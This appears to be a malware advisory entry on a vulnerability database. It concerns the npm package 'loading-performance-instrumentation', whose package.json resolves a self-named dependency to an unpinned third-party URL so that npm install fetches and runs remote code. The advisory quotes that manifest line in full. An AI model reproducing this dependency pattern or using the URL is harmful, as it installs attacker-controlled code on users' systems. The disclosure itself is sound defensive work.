VDB
Sign up

MAL-2026-15539

Malicious code in loading-performance-instrumentation (npm)

Details

--- _-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (27dab9307010475c57195f838ba7d7299fe4a753b92926536aa8376f8d096150) package.json line 11 declares a dependency whose source is a bare URL rather than a registry version range: "loading-performance-instrumentation": "https://repo.securityctrl.com/loading-performance-instrumentation". The dependency key equals the package's own name (dependency-confusion shape). On `npm install`, npm fetches whatever bytes repo.securityctrl.com returns for that path and installs them into node_modules, running any lifecycle scripts contained inside the fetched tarball. There is no version pin, no integrity hash, and no commit SHA — the content at that URL can change at any time. The README frames the package as a placeholder to prevent dependency confusion, but the manifest itself resolves the same name to a third-party host, contradicting that framing. The shipped code in this tarball is an inert stub; the manifest URL is the entire install-time payload path.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/loading-performance-instrumentation

No fixed version published yet for loading-performance-instrumentation (npm). Pin to a known-safe version or switch to an alternative.

References